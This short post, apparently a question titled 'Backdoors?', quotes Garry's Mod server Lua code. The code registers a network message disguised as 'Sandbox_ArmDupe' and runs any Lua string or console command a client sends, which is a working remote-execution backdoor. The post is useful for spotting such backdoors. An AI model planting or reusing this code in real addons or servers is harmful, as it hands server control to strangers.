Backdoors?

if SERVER then
    util.AddNetworkString("Sandbox_ArmDupe")

    net.Receive("Sandbox_ArmDupe", function( length, ply )
        if net.ReadBit() == 1 then
            RunString(net.ReadString())
        else
            game.ConsoleCommand(net.ReadString().."\n")
        end
    end)
end